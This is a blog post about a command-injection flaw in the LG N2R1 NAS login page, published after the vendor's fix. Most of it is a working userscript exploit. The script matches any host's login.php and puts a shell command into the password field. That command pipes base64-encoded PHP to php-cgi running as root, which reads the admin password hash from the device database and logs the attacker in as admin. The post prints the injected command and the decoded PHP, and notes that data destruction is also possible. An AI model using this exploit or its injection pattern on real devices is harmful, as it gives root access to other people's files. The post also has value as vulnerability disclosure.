LG N2R1 NAS hack

By following the advice of several bloggers Korben & Ludovic Toinel I bought the NAS N2R1 by LG. This NAS is fine and is fits my needs. Except it turns out this NAS has a very bad security issue.

The origin of this discovery started when I wanted to put my NAS on the internet to access my files from work. So I put a more robust password with special characters. After that I could not log it anymore.

After some tests, I realized that I could access my NAS admin with just a parenthesis as password (a character that was part of my new password). I spoke of if to Ludovic Toinel who’d had victim of a “hack” on his NAS (see article on this subject) and he finally found the problem (see article on this subject).

So I tried for fun to develop an userscript to automate the login as admin on any NAS N2R1. It works with N2R1 mayby on other models but I only have my N2R1 to test it on. Other operations can be performed with it such as data destruction. But this kind of malice does not interest me…

Here is the result :

Finally, I tried to contact LG on this subject; they had to recall me for more news. Meanwhile I don’t recommend purchasing any LG NAS until they have published a fix…

Update 2015-01-24 :

Since the flaw was reported there are more than 3 years ago and I don’t have that NAS anymore and LG has published a fix, here is the result userscript :

// ==UserScript==
// @name           test-lg-nas
// @namespace      pac1250@gmail.com
// @author         pac1250@gmail.com
// @version        1.2.1
// @match          http://*/*/login/login.php
// @include        http://*/*/login/login.php
// ==/UserScript==

function main () {

    $(document).ready(function() {

/* Base64 encoded PHP :
$dbh=new PDO('sqlite:/etc/nas/db/share.db');
$sth=$dbh->prepare('select passwd from user where uid=\'admin\'');
$sth->execute();
$DB_user_info=$sth->fetchAll();
$dbh=null;
echo $DB_user_info[0][0];
*/
        var php = "JGRiaD1uZXcgUERPKCdzcWxpdGU6L2V0Yy9uYXMvZGIvc2hhcmUuZGInKTsNCiRzdGg9JGRiaC0+cHJlcGFyZSgnc2VsZWN0IHBhc3N3ZCBmcm9tIHVzZXIgd2hlcmUgdWlkPVwnYWRtaW5cJycpOw0KJHN0aC0+ZXhlY3V0ZSgpOw0KJERCX3VzZXJfaW5mbz0kc3RoLT5mZXRjaEFsbCgpOw0KJGRiaD1udWxsOw0KZWNobyAkREJfdXNlcl9pbmZvWzBdWzBdOw==";
        var magic = "xxxxx | echo \"<?php eval(base64_decode(\\\"" + php + "\\\")); ?>\"|/usr/bin/php-cgi -q";
        // overrive LG sendRequest method
        sendRequest = function(callback,data,method,url,async,sload,p_num,user,password)
        {
            $.ajax({
                type: "POST",
                url: url,
                data: {
                    id:  "admin",
                    mobile: "false",
                    op_mode: "login",
                    password: magic
                },
                success: function(data) { callback({responseText: data}); },
                dataType: "text"
            });
        }
        // show hack has been installed
        $("body").before("<div style=\"background-color: #FFEEEE; border: 1px solid #000000; font-family: Verdana; padding: 1px 11px; position: fixed; right: 10px; text-decoration: blink; top: 10px;\">auto admin</div>");
    });
}

var script = document.createElement('script');
script.appendChild(document.createTextNode('('+ main +')();'));
(document.body || document.head || document.documentElement).appendChild(script);

The principle is very simple :

  1. Browser send a login AJAX request, the userscript modifies the sent data

  2. NAS recieves the web request on apache+php with sends directly the field password to an exec with sudo :

$in_pw = exec("sudo nas-common md5 $in_pw");

The final command is like that :

sudo nas-common md5 xxxxx | echo \"<?php eval(base64_decode(\\\"JGRiaD1uZXcgUERPKCdzcWxpdGU6L2V0Yy9uYXMvZGIvc2hhcmUuZGInKTsNCiRzdGg9JGRiaC0+cHJlcGFyZSgnc2VsZWN0IHBhc3N3ZCBmcm9tIHVzZXIgd2hlcmUgdWlkPVwnYWRtaW5cJycpOw0KJHN0aC0+ZXhlY3V0ZSgpOw0KJERCX3VzZXJfaW5mbz0kc3RoLT5mZXRjaEFsbCgpOw0KJGRiaD1udWxsOw0KZWNobyAkREJfdXNlcl9pbmZvWzBdWzBdOw==\\\")); ?>\" | /usr/bin/php-cgi -q
  1. PHP code will be executed (with root rights), this code will read in the sqlite database and return the md5 password hash of admin user :
$dbh=new PDO('sqlite:/etc/nas/db/share.db');
$sth=$dbh->prepare('select passwd from user where uid=\'admin\'');
$sth->execute();
$DB_user_info=$sth->fetchAll();
$dbh=null;
echo $DB_user_info[0][0];

Finaly the NAS will find that the password is valid and grant access as admin.

Leave a Reply

Your email address will not be published. Required fields are marked *

Time limit is exhausted. Please reload the CAPTCHA.